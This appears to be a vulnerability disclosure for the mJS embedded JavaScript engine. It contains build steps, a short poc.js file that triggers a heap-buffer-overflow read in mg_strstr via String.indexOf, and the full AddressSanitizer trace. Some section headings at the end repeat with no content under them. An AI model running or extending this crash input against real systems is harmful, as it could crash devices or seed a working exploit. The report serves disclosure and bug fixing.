vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
Test case
poc.js
```javascript
function JSEtest(a) {
let arr = ['prototype'.indexOf(JSON.stringify({ foo: [], bar: {} }, ['foo', 'bar', 'myProp']))];
if (a < 10)
JSEtest(a + 1);
}
JSEtest(0);
```
Execution steps & Output
$ ./mjs/build/mjs poc.js
ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b0000000ab at pc 0x7fabea0b7f54 bp 0x7ffdfc32c250 sp 0x7ffdfc32b9f8
READ of size 19 at 0x60b0000000ab thread T0
#0 0x7fabea0b7f53 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xaff53)
#1 0x55e0e1aa2ff6 in mg_strstr src/common/mg_str.c:154
#2 0x55e0e1a6c363 in mjs_string_index_of src/mjs_string.c:366
#3 0x55e0e19c5244 in mjs_execute src/mjs_exec.c:853
#4 0x55e0e19cea05 in mjs_exec_internal src/mjs_exec.c:1073
#5 0x55e0e19cea05 in mjs_exec_file src/mjs_exec.c:1096
#6 0x55e0e198b909 in main src/mjs_main.c:47
#7 0x7fabe9a34b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#8 0x55e0e198c449 in _start (/usr/local/bin/Gmjs+0xe449)
0x60b0000000ab is located 0 bytes to the right of 107-byte region [0x60b000000040,0x60b0000000ab)
allocated by thread T0 here:
#0 0x7fabea0e6f30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30)
#1 0x55e0e1a9d346 in mbuf_resize src/common/mbuf.c:50
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xaff53)
Shadow bytes around the buggy address:
0x0c167fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c167fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c167fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c167fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c167fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
=>0x0c167fff8010: 00 00 00 00 00[03]fa fa fa fa fa fa fa fa fd fd
0x0c167fff8020: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa
0x0c167fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c167fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c167fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c167fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
mJS revision
Commit: b1b6eac
Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
Build steps
Test case
poc.js
Execution steps & Output
Credits: Found by OWL337 team.